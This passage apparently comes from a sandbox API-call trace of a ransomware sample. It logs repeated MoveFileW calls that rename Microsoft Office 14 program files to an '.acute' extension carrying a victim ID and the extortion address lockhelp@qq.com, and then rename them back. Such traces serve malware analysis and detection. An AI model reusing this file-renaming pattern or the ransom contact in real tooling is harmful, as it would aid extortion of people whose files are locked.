office\\office14\\1033\\winproj.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs")) returned 0 [0276.380] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.380] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev.hxs")) returned 0 [0276.381] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.381] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs")) returned 0 [0276.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.386] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll")) returned 0 [0276.410] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.410] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll")) returned 0 [0276.411] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.411] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu")) returned 0 [0276.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.412] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZUSR12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzusr12.accdu")) returned 0 [0276.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll")) returned 0 [0276.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll")) returned 0 [0276.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\groove.exe")) returned 0 [0276.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\grooveex.dll")) returned 0 [0276.833] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.833] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\INFOPATH.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\infopath.exe")) returned 0 [0276.869] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.869] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Installed_resources14.xss" (normalized: "c:\\program files\\microsoft office\\office14\\installed_resources14.xss")) returned 0 [0276.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\IPDESIGN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipdesign.dll")) returned 0 [0276.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\IPEDITOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\ipeditor.dll")) returned 0 [0276.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe")) returned 0 [0276.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.888] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic")) returned 0 [0276.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic")) returned 0 [0276.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.889] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic")) returned 0 [0276.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic")) returned 0 [0276.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic")) returned 0 [0276.900] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.900] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSPST32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\mspst32.dll")) returned 0 [0276.900] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.901] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\mspub.exe")) returned 0 [0276.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Data0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7data0011.dll")) returned 0 [0276.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Lexicons0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7lexicons0011.dll")) returned 0 [0276.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.972] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS0009.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0009.dll")) returned 0 [0276.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000A.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000a.dll")) returned 0 [0276.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.994] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7MODELS000C.dll" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models000c.dll")) returned 0 [0276.995] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.995] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll")) returned 0 [0276.995] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oart.dll")) returned 0 [0276.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\oartconv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\OARTCONV.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft 